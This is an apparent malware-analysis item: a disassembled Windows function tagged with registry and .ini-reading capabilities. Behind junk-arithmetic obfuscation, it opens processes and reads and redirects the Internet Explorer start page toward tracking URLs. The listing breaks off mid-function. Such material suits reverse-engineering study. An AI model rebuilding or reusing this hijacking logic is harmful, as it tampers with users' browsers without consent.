Function at 0x41a610
Capabilities:
Query or enumerate registry value
Read .ini file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44414d
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x112c
call fcn.00429a50
mov eax, dword [0x456fc0]
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov ebx, dword [0x45569c]
mov esi, dword [0x455690]
mov eax, 0x709ad4e5
imul esi
imul esi, esi, 0xb8
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ecx, eax
mov eax, 0xc2c05bdf
imul ebx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4556a8]
imul edx, edx, 0x12b
mov edi, eax
sub edi, ecx
mov ecx, dword [0x45568c]
imul ecx, ecx, 0x217
add edi, ecx
mov ecx, dword [0x455694]
add edi, edx
mov eax, 0xe070381d
imul ecx
add edx, ecx
sar edx, 7
add edi, edx
mov ecx, edx
mov edx, dword [0x4556a4]
mov eax, 0xbd889165
imul edx
shr ecx, 0x1f
add ecx, edi
mov edi, dword [0x4556a0]
imul edi, edi, 0x217
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, edi
mov edi, eax
mov eax, 0x3949660b
imul ebx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edi, edx
add eax, edi
sub eax, esi
mov dword [str._r_____r____], ecx
add eax, ecx
mov ecx, dword [0x455688]
add ecx, eax
mov dword [ebp - 0x10ec], 0
mov dword [ebp - 4], 0
mov dword [0x455688], ecx
mov dword [ebp - 0x10e0], 0
lea ecx, [ebp - 0x10e0]
push ecx
push 0x446248
push 0x17
push 0
push 0x44a830
mov byte [ebp - 4], 1
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov esi, dword [0x4556a8]
mov ebx, eax
mov edi, esi
mov ecx, dword [0x455688]
imul edi, edi, 0x246
mov eax, 0x709ad4e5
imul ecx, ecx, 0x1ed
imul dword [0x45569c]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
add edi, ecx
mov ecx, dword [0x455690]
mov eax, 0x8c55841d
imul ecx
add edx, ecx
mov ecx, dword [0x4556a0]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
sub edi, ecx
sub edi, 0xb8
test ebx, ebx
mov dword [0x455690], edi
jge 0x41a817
mov esi, dword [0x455698]
mov ecx, dword [0x45568c]
imul esi, esi, 0x1ed
imul ecx, ecx, 0x217
add esi, ecx
mov ecx, dword [0x45569c]
mov eax, 0xc3a13de7
imul ecx
add edx, ecx
mov ecx, dword [str._r_____r____]
sar edx, 8
imul ecx, ecx, 0x92
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4556a4]
sub esi, eax
add esi, edx
lea edx, [ecx + esi - 0xb8]
mov dword [0x455694], edx
mov eax, dword [ebp - 0x10e0]
test eax, eax
mov byte [ebp - 4], 0
je 0x41a810
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
xor eax, eax
jmp 0x41caff
mov eax, 0x3d3fa421
imul ecx, ecx, 0x14f
imul esi
imul esi, esi, 0xb8
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x455698]
mov edi, eax
mov eax, 0x6d978b8f
imul edx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
sub ebx, edi
add ebx, ecx
mov ecx, dword [0x455694]
mov eax, 0xe070381d
imul ecx
mov eax, dword [ebp - 0x10e0]
add edx, ecx
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub ebx, esi
sub ebx, ecx
lea ecx, [ebp - 0x10f8]
push ecx
mov dword [0x455698], ebx
mov dword [ebp - 0x10f8], 0
mov edx, dword [eax]
push eax
call dword [edx + 0x1c]
mov edi, dword [0x455694]
mov ebx, dword [0x45568c]
mov ecx, dword [0x455690]
mov eax, 0x709ad4e5
imul edi
imul edi, edi, 0xb8
sar edx, 8
mov esi, edx
shr esi, 0x1f
add esi, edx
mov edx, ebx
imul edx, edx, 0x23c
mov eax, ecx
imul eax, eax, 0x217
add esi, edx
add esi, eax
mov eax, 0x42776e9b
imul ebx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, dword [ebp - 0x10f8]
add esi, edi
test eax, eax
mov dword [0x45569c], esi
je 0x41a7fc
mov edi, dword [str._r_____r____]
mov eax, 0x8c55841d
imul edi, edi, 0x1d3
imul ebx
add edx, ebx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x455698]
imul edx, edx, 0x59
sub edi, eax
mov eax, dword [ebp + 8]
add edi, edx
test eax, eax
mov dword [0x4556a0], edi
je 0x41a9ad
mov ecx, dword [0x4556a4]
mov eax, 0x709ad4e5
imul ecx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ecx, eax
mov eax, 0xc2c05bdf
imul esi
imul esi, esi, 0x92
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
sub edi, ecx
mov ecx, dword [0x455688]
mov eax, 0xe070381d
imul ecx, ecx, 0x14f
imul ebx
add edx, ebx
sar edx, 7
add edi, ecx
mov eax, edx
shr eax, 0x1f
add edi, esi
add eax, edx
sub edi, eax
mov ecx, 0x5694b0
mov dword [0x4556a4], edi
call fcn.0040ecd0
mov ecx, dword [0x455690]
mov esi, dword [0x45569c]
mov edi, dword [0x4556a0]
mov eax, 0x3949660b
imul edi, edi, 0x14a
imul dword [str._r_____r____]
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ecx
imul edx, edx, 0x217
sub edx, eax
mov dword [ebp - 0x10dc], edx
mov eax, 0xc3a13de7
imul dword [0x455698]
add edx, dword [0x455698]
mov eax, dword [ebp - 0x10dc]
sar edx, 8
mov ebx, edx
shr ebx, 0x1f
add eax, edx
add ebx, eax
sub ebx, edi
xor edi, edi
mov dword [0x4556a8], ebx
mov dword [ebp - 0x10f0], edi
jmp 0x41aa10
cmp edi, dword [ebp - 0x10f8]
jge 0x41caad
mov eax, 0x709ad4e5
imul ebx, ebx, 0x12b
imul ecx
sar edx, 8
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0xc2c05bdf
imul esi
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, dword [0x45568c]
imul eax, eax, 0x217
sub esi, ecx
mov ecx, dword [0x455694]
add esi, eax
mov eax, 0xe070381d
imul ecx
add edx, ecx
sar edx, 7
add esi, ebx
mov ecx, edx
shr ecx, 0x1f
add esi, edx
add ecx, esi
mov dword [str._r_____r____], ecx
mov dword [ebp - 0x10d4], 0
mov eax, edi
mov word [ebp - 0x1120], 3
mov dword [ebp - 0x1118], eax
mov edi, dword [ebp - 0x1120]
mov ecx, dword [ebp - 0x10e0]
mov edx, dword [ecx]
lea esi, [ebp - 0x10d4]
push esi
sub esp, 0x10
mov esi, esp
mov dword [esi], edi
mov edi, dword [ebp - 0x111c]
mov dword [esi + 4], edi
mov dword [esi + 8], eax
mov eax, dword [ebp - 0x1114]
push ecx
mov byte [ebp - 4], 3
mov dword [esi + 0xc], eax
call dword [edx + 0x20]
lea ecx, [ebp - 0x1120]
push ecx
mov edi, eax
mov byte [ebp - 4], 2
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov esi, dword [0x45569c]
mov ecx, dword [0x4556a8]
mov ebx, dword [0x455690]
imul ecx, ecx, 0x246
mov eax, 0x709ad4e5
imul esi
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x455688]
imul edx, edx, 0x1ed
sub ecx, eax
add ecx, edx
mov eax, 0x8c55841d
imul ebx
add edx, ebx
mov ebx, dword [0x4556a0]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
sub ecx, ebx
sub ecx, 0xb8
test edi, edi
mov dword [0x455690], ecx
jl 0x41ac2c
mov edi, dword [0x455694]
mov eax, 0x709ad4e5
imul edi
imul edi, edi, 0xb8
sar edx, 8
mov esi, edx
shr esi, 0x1f
add esi, edx
mov edx, dword [0x45568c]
mov eax, edx
imul eax, eax, 0x23c
add esi, eax
mov eax, ecx
imul eax, eax, 0x217
add esi, eax
mov eax, 0x42776e9b
imul edx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, dword [ebp - 0x10d4]
add esi, edi
xor edi, edi
test eax, eax
mov dword [0x45569c], esi
mov dword [ebp - 0x10cc], edi
je 0x41abd6
mov ecx, dword [eax]
lea edx, [ebp - 0x10cc]
push edx
push 0x4462a0
push eax
call dword [ecx]
mov edi, dword [ebp - 0x10cc]
mov ecx, dword [0x455690]
mov esi, dword [0x45569c]
mov ebx, dword [0x4556a0]
imul ebx, ebx, 0x217
mov eax, 0xbd889165
imul dword [0x4556a4]
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, ebx
mov ebx, eax
mov eax, 0x3949660b
imul esi
sar edx, 7
add ebx, edx
mov eax, edx
mov edx, ecx
imul edx, edx, 0xb8
shr eax, 0x1f
add eax, ebx
mov ebx, dword [str._r_____r____]
sub eax, edx
mov edx, dword [0x455688]
add eax, ebx
add edx, eax
test edi, edi
mov dword [0x455688], edx
jne 0x41ac49
mov eax, dword [ebp - 0x10d4]
test eax, eax
mov byte [ebp - 4], 1
je 0x41ca93
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp 0x41ca87
mov ecx, dword [0x455698]
mov edx, dword [0x45568c]
imul edx, edx, 0x217
mov ebx, ecx
imul ebx, ebx, 0x1ed
add ebx, edx
mov eax, 0xc3a13de7
imul esi
add edx, esi
mov esi, dword [str._r_____r____]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, esi
imul edx, edx, 0x92
sub ebx, eax
add ebx, dword [0x4556a4]
lea eax, [edx + ebx - 0xb8]
mov dword [0x455694], eax
mov dword [ebp - 0x10e4], 0
imul esi, esi, 0x1d3
imul ecx, ecx, 0x59
mov ebx, dword [0x45568c]
mov eax, 0x8c55841d
imul ebx
add edx, ebx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
add esi, ecx
lea edx, [ebp - 0x10e4]
push edx
mov dword [0x4556a0], esi
mov ecx, dword [edi]
push edi
mov byte [ebp - 4], 5
call dword [ecx + 0x48]
test eax, eax
jge 0x41ad2a
mov eax, dword [ebp - 0x10e4]
test eax, eax
mov byte [ebp - 4], 4
je 0x41acf9
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x10cc]
test eax, eax
mov byte [ebp - 4], 2
je 0x41ad0d
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov eax, dword [ebp - 0x10d4]
test eax, eax
mov byte [ebp - 4], 1
je 0x41ca87
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp 0x41ca87
mov esi, dword [0x4556a0]
mov edx, dword [0x4556a8]
mov ecx, dword [0x45568c]
imul edx, edx, 0x12b
mov edi, esi
imul edi, edi, 0x217
sub edi, edx
mov eax, 0xc3a13de7
imul ecx
add edx, ecx
mov ecx, dword [0x455690]
sar edx, 8
add edi, edx
mov ebx, edx
mov eax, 0xe070381d
imul ecx
shr ebx, 0x1f
add edx, ecx
sar edx, 7
add ebx, edi
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
mov ebx, dword [0x455694]
sub eax, ebx
add eax, 0x1d3
mov dword [0x45568c], eax
mov eax, dword [ebp - 0x10e4]
test eax, eax
mov dword [ebp - 0x10d8], 0
je 0x41adc5
mov ecx, dword [eax]
lea edx, [ebp - 0x10d8]
push edx
push 0x4462b0
push eax
call dword [ecx]
mov ecx, dword [0x455690]
mov esi, dword [0x4556a0]
mov ebx, dword [0x455694]
imul esi, esi, 0x14f
mov eax, 0x3d3fa421
imul dword [0x4556a8]
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x455698]
mov dword [ebp - 0x10d0], eax
mov eax, 0x6d978b8f
imul edx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4556a8]
imul edx, edx, 0xb8
mov edi, eax
mov eax, dword [ebp - 0x10d0]
sub edi, eax
add edi, esi
sub edi, edx
mov eax, 0xe070381d
imul ebx
add edx, ebx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, dword [ebp - 0x10d8]
test eax, eax
mov byte [ebp - 4], 6
mov dword [0x455698], edi
jne 0x41ae91
mov eax, dword [ebp - 0x10e4]
test eax, eax
mov byte [ebp - 4], 4
je 0x41ae5a
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov ecx, dword [0x455690]
mov eax, dword [ebp - 0x10cc]
test eax, eax
mov byte [ebp - 4], 2
je 0x41ae74
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov ecx, dword [0x455690]
mov eax, dword [ebp - 0x10d4]
test eax, eax
mov byte [ebp - 4], 1
je 0x41ca8d
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp 0x41ca87
push 0
call fcn.00429a0f
sub eax, dword [0x569708]
add esp, 4
cmp eax, 0x708
jge 0x41b143
mov ecx, dword [0x455690]
mov eax, 0x709ad4e5
imul ecx
mov ecx, dword [0x45569c]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0xc2c05bdf
imul ecx
mov eax, dword [0x4556a8]
sar edx, 7
imul eax, eax, 0x12b
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x45568c]
imul edx, edx, 0x217
mov edi, ecx
mov ecx, dword [0x455694]
sub edi, esi
add edi, edx
add edi, eax
mov eax, 0xe070381d
imul ecx
mov eax, dword [ebp - 0x10cc]
add edx, ecx
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add edi, edx
add ecx, edi
mov dword [str._r_____r____], ecx
mov edx, dword [eax]
lea ecx, [ebp - 0x1108]
push ecx
push eax
call dword [edx + 0x94]
mov eax, dword [ebp - 0x1108]
lea edx, [ebp - 0x10dc]
push edx
push eax
mov dword [ebp - 0x10dc], 0
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov esi, dword [0x45568c]
mov edi, dword [0x4556a8]
mov eax, 0xc3a13de7
imul edi, edi, 0x12b
imul esi
mov ecx, dword [0x4556a0]
add edx, esi
imul ecx, ecx, 0x217
mov esi, dword [0x455690]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0xe070381d
imul esi
add edx, esi
sar edx, 7
sub ebx, edi
mov edi, dword [0x455694]
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
sub eax, edi
mov edi, dword [ebp - 0x10dc]
test edi, edi
lea eax, [eax + ecx + 0x1d3]
mov dword [0x45568c], eax
je 0x41bc7f
mov esi, dword [0x455698]
imul eax, eax, 0x217
mov ecx, dword [0x45569c]
imul esi, esi, 0x1ed
add esi, eax
mov ebx, dword [0x4556a4]
mov eax, 0xc3a13de7
imul ecx
add edx, ecx
sar edx, 8
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [str._r_____r____]
imul edx, edx, 0x92
sub esi, ecx
push edi
add esi, ebx
push 0
lea eax, [edx + esi - 0xb8]
push 0x1f0fff
mov dword [0x455694], eax
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x41b143
mov ecx, dword [0x455694]
mov eax, 0x709ad4e5
imul ecx
imul ecx, ecx, 0xb8
sar edx, 8
mov edi, edx
shr edi, 0x1f
add edi, edx
mov edx, dword [0x45568c]
mov eax, edx
imul eax, eax, 0x23c
add edi, eax
mov eax, dword [0x455690]
imul eax, eax, 0x217
add edi, eax
mov eax, 0x42776e9b
imul edx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dl, byte [0x446c76]
sub edi, eax
add edi, ecx
mov cx, word [0x446c74]
mov dword [0x45569c], edi
mov word [ebp - 0x2c4], cx
xor eax, eax
mov byte [ebp - 0x2c2], dl
mov ecx, 0x3f
lea edi, [ebp - 0x2c1]
rep stosd dword es:[edi], eax
push 0x100
stosb byte es:[edi], al
lea eax, [ebp - 0x2c4]
push eax
push 0
push esi
call sub.PSAPI.DLL_GetModuleFileNameExA
mov ecx, dword [0x4556a4]
mov eax, 0x709ad4e5
imul ecx
sar edx, 8
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov esi, ecx
mov ecx, dword [0x45569c]
mov eax, 0xc2c05bdf
imul ecx
imul ecx, ecx, 0x92
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x455688]
imul edx, edx, 0x14f
mov edi, eax
sub edi, esi
add edi, edx
add edi, ecx
mov ecx, dword [0x45568c]
mov eax, 0xe070381d
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
lea ecx, [ebp - 0x2c4]
sub edi, eax
push str.startup.exe
push ecx
mov dword [0x4556a4], edi
call fcn.00429e80
add esp, 8
test eax, eax
jne 0x41bce6
mov ecx, dword [0x4556a4]
mov esi, dword [0x45569c]
mov eax, 0x709ad4e5
imul ecx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ecx, eax
mov eax, 0xc2c05bdf
imul esi
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
sub edi, ecx
mov ecx, dword [0x455688]
imul ecx, ecx, 0x14f
mov edx, esi
imul edx, edx, 0x92
add edi, ecx
mov ecx, dword [0x45568c]
add edi, edx
mov eax, 0xe070381d
imul ecx
add edx, ecx
mov ecx, dword [ebp - 0x10ec]
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, dword [ebp + 8]
inc ecx
test eax, eax
mov dword [0x4556a4], edi
mov dword [ebp - 0x10ec], ecx
je 0x41c994
push ecx
lea edx, [ebp - 0x10cc]
mov ecx, esp
mov dword [ebp - 0x10c8], esp
push edx
call fcn.00406b50
mov ecx, 0x5694b0
call fcn.004060c0
test al, al
jne 0x41c98e
mov esi, dword [0x455690]
mov eax, 0x709ad4e5
imul esi
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ecx, eax
mov eax, 0xc2c05bdf
imul dword [0x45569c]
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
sub ebx, ecx
mov ecx, dword [0x45568c]
imul ecx, ecx, 0x217
mov edi, dword [0x455694]
add ebx, ecx
mov ecx, dword [0x4556a8]
mov edx, ecx
imul ecx, ecx, 0x246
imul edx, edx, 0x12b
add ebx, edx
mov eax, 0xe070381d
imul edi
add edx, edi
sar edx, 7
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
mov dword [str._r_____r____], eax
mov eax, 0x709ad4e5
imul dword [0x45569c]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x455688]
imul edx, edx, 0x1ed
sub ecx, eax
mov ebx, dword [0x4556a0]
add ecx, edx
mov eax, 0x8c55841d
imul esi
add edx, esi
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x10cc]
sub ecx, ebx
sub ecx, 0xb8
lea edx, [ebp - 0x1104]
push edx
mov dword [0x455690], ecx
mov ecx, dword [eax]
push eax
call dword [ecx + 0x78]
mov ecx, dword [0x455694]
mov eax, 0x709ad4e5
imul ecx
sar edx, 8
mov esi, edx
shr esi, 0x1f
add esi, edx
mov edx, dword [0x45568c]
mov eax, edx
imul eax, eax, 0x23c
add esi, eax
mov eax, dword [0x455690]
imul eax, eax, 0x217
add esi, eax
mov eax, 0x42776e9b
imul edx
sar edx, 7
mov eax, edx
shr eax, 0x1f
imul ecx, ecx, 0xb8
add eax, edx
sub esi, eax
add esi, ecx
mov ecx, dword [ebp - 0x1104]
push ecx
mov dword [0x45569c], esi
call fcn.0041f2c0
mov ecx, dword [0x455690]
mov dword [ebp - 0x10d0], eax
mov eax, 0x709ad4e5
imul ecx
mov ecx, dword [0x45569c]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0xc2c05bdf
imul ecx
mov eax, dword [0x4556a8]
sar edx, 7
imul eax, eax, 0x12b
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x45568c]
imul edx, edx, 0x217
mov edi, ecx
mov ecx, dword [0x455694]
sub edi, esi
add edi, edx
add edi, eax
mov eax, 0xe070381d
imul ecx
mov eax, dword [ebp - 0x10d8]
add edx, ecx
sar edx, 7
mov ecx, edx
add edi, edx
shr ecx, 0x1f
add ecx, edi
mov dword [str._r_____r____], ecx
mov edx, dword [eax]
lea ecx, [ebp - 0x1110]
push ecx
push eax
xor edi, edi
call dword [edx + 0x90]
mov ebx, dword [0x4556a0]
mov edx, dword [0x4556a8]
imul ebx, ebx, 0x217
mov ecx, dword [0x45568c]
imul edx, edx, 0x12b
mov esi, eax
sub ebx, edx
mov eax, 0xc3a13de7
imul ecx
add edx, ecx
mov ecx, dword [0x455690]
sar edx, 8
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
mov ebx, eax
mov eax, 0xe070381d
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add ebx, edx
mov edx, dword [0x455694]
add eax, ebx
sub eax, edx
add eax, 0x1d3
test esi, esi
mov dword [0x45568c], eax
jne 0x41b42d
mov ecx, dword [ebp - 0x1110]
push ecx
call fcn.0041f2c0
mov edi, eax
push 0
call fcn.00429a0f
sub eax, dword [0x56946c]
add esp, 4
cmp eax, 5
jle 0x41c263
test edi, edi
je 0x41b462
mov eax, edi
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x41b450
sub eax, edx
cmp eax, 5
ja 0x41c263
mov esi, dword [0x455698]
mov edx, dword [0x45568c]
imul esi, esi, 0x1ed
mov ecx, dword [0x45569c]
imul edx, edx, 0x217
add esi, edx
mov eax, 0xc3a13de7
imul ecx
add edx, ecx
mov ecx, dword [str._r_____r____]
sar edx, 8
imul ecx, ecx, 0x92
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
add esi, dword [0x4556a4]
lea edx, [ecx + esi - 0xb8]
mov dword [0x455694], edx
mov ecx, str.http:__www.baiduo.org_
lea edx, [ebp - 0x1c4]
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x41b4c1
lea eax, [ebp - 0x1c4]
push eax
call fcn.0041f160
mov ecx, dword [str._r_____r____]
mov esi, dword [0x455690]
mov dword [ebp - 0x10c8], eax
imul esi, esi, 0x217
mov eax, 0x3949660b
imul ecx
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
mov ecx, dword [0x455698]
mov eax, 0xc3a13de7
imul ecx
add edx, ecx
mov ecx, dword [0x446c58]
mov eax, dword [str.sfdafsdafdsfdsfa]
sar edx, 8
add esi, edx
mov ebx, edx
mov edx, dword [0x4556a0]
imul edx, edx, 0x14a
mov dword [ebp - 0x144], eax
mov eax, dword [0x446c60]
mov dword [ebp - 0x140], ecx
mov cl, byte [0x446c64]
mov dword [ebp - 0x138], eax
xor eax, eax
mov byte [ebp - 0x134], cl
shr ebx, 0x1f
add ebx, esi
sub ebx, edx
mov edx, dword [0x446c5c]
mov dword [ebp - 0x13c], edx
mov ecx, 0x3c
lea edi, [ebp - 0x133]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, 0x709ad4e5
imul dword [0x455690]
mov ecx, 0xa
mov esi, str.SoftwareMicrosoftInternet_ExplorerMain
lea edi, [ebp - 0x40]
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [0x45569c]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
movsw word es:[edi], word [esi]
mov esi, eax
mov eax, 0xc2c05bdf
imul ecx
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x45568c]
imul edx, edx, 0x217
mov edi, ecx
mov ecx, dword [0x455694]
sub edi, esi
add edi, edx
mov eax, 0xe070381d
imul ecx
mov dword [0x4556a8], ebx
imul ebx, ebx, 0x12b
add edx, ecx
sar edx, 7
add edi, ebx
mov eax, edx
shr eax, 0x1f
add edi, edx
add eax, edi
mov dword [ebp - 0x1100], 0
mov dword [str._r_____r____], eax
lea ecx, [ebp - 0x1100]
push ecx
push 0xf003f
push 0
lea edx, [ebp - 0x40]
push edx
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x41b8cd
mov ecx, dword [0x4556a8]
mov eax, 0x3d3fa421
imul ecx
imul ecx, ecx, 0xb8
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov edx, dword [0x455698]
mov eax, 0x6d978b8f
imul edx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
sub edi, esi
mov esi, dword [0x4556a0]
mov edx, esi
imul esi, esi, 0x217
imul edx, edx, 0x14f
add edi, edx
sub edi, ecx
mov ecx, dword [0x455694]
mov eax, 0xe070381d
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov edx, dword [0x4556a4]
mov eax, 0xbd889165
imul edx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45569c]
mov dword [0x455698], edi
mov edi, eax
mov eax, 0x3949660b
imul edx
sar edx, 7
sub edi, esi
mov esi, dword [0x455690]
add edi, edx
mov eax, edx
shr eax, 0x1f
add eax, edi
mov edi, dword [str._r_____r____]
mov edx, esi
imul esi, esi, 0x217
imul edx, edx, 0xb8
sub eax, edx
mov edx, dword [0x455688]
add eax, edi
add edx, eax
mov dword [0x455688], edx
mov eax, 0x709ad4e5
imul ecx
sar edx, 8
mov edi, edx
shr edi, 0x1f
add edi, edx
mov edx, dword [0x45568c]
mov eax, edx
imul eax, eax, 0x23c
add edi, eax
mov eax, 0x42776e9b
imul edx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edi, esi
add eax, edx
sub edi, eax
imul ecx, ecx, 0xb8
mov dword [ebp - 0x10fc], 0x104
add edi, ecx
lea ecx, [ebp - 0x10fc]
push ecx
mov ecx, dword [ebp - 0x1100]
lea edx, [ebp - 0x144]
push edx
lea eax, [ebp - 0x110c]
push eax
push 0
push str.Start_Page
mov ebx, 1
push ecx
mov dword [0x45569c], edi
mov dword [ebp - 0x110c], ebx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x41b8cd
mov esi, dword [0x4556a0]
mov edx, dword [0x4556a8]
imul esi, esi, 0x217
mov ecx, dword [0x45568c]
imul edx, edx, 0x12b
sub esi, edx
mov edi, dword [0x455690]
mov eax, 0xc3a13de7
imul ecx
add edx, ecx
sar edx, 8
add esi, edx
mov eax, edx
shr eax, 0x1f
add eax, esi
mov esi, eax
mov eax, 0xe070381d
imul edi
mov eax, dword [0x569788]
add edx, edi
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add esi, edx
add ecx, esi
mov esi, dword [0x455694]
sub ecx, esi
add ecx, 0x1d3
test eax, eax
mov dword [0x45568c], ecx
jne 0x41b8df
lea eax, [ebp - 0x144]
push str..2345.com
push eax
call fcn.00429e80
add esp, 8
test eax, eax
jne 0x41b829
lea ecx, [ebp - 0x144]
push str..2345.COM
push ecx
call fcn.00429e80
add esp, 8
test eax, eax
je 0x41b8cd
mov ecx, dword [0x455690]
mov eax, 0x709ad4e5
imul ecx
mov ecx, dword [0x45569c]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0xc2c05bdf
imul ecx
mov eax, dword [0x4556a8]
sar edx, 7
imul eax, eax, 0x12b
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x45568c]
imul edx, edx, 0x217
mov edi, ecx
mov ecx, dword [0x455694]
sub edi, esi
add edi, edx
add edi, eax
mov eax, 0xe070381d
imul ecx
add edx, ecx
sar edx, 7
mov ecx, edx
add edi, edx
lea edx, [ebp - 0x144]
push edx
shr ecx, 0x1f
add ecx, edi
push str.http:__stat.wamme.cn_C8C_gl_cnzz60.html_HomePage_s
push 0x558268
mov dword [str._r_____r____], ecx
mov dword [0x569788], ebx
call fcn.0042992a
push 0x132b600
call sym.CallDll.exe_int___cdecl_process3_int_
add esp, 0x10
push 0x1f40
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [0x45568c]
mov edi, dword [0x455690]
mov esi, dword [0x455694]
mov eax, 0x709ad4e5
imul edi, edi, 0x217
imul esi
imul esi, esi, 0xb8
mov eax, ecx
imul eax, eax, 0x23c
sar edx, 8
mov ebx, edx
shr ebx, 0x1f
add ebx, edx
add ebx, eax
mov eax, 0x42776e9b
imul ecx
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [ebp - 0x1100]
add ebx, edi
sub ebx, ecx
add ebx, esi
push edx
mov dword [0x45569c], ebx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edi, dword [0x4556a4]
mov ecx, dword [0x4556a0]
mov eax, 0xbd889165
imul ecx, ecx, 0x217
imul edi
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
sub esi, ecx
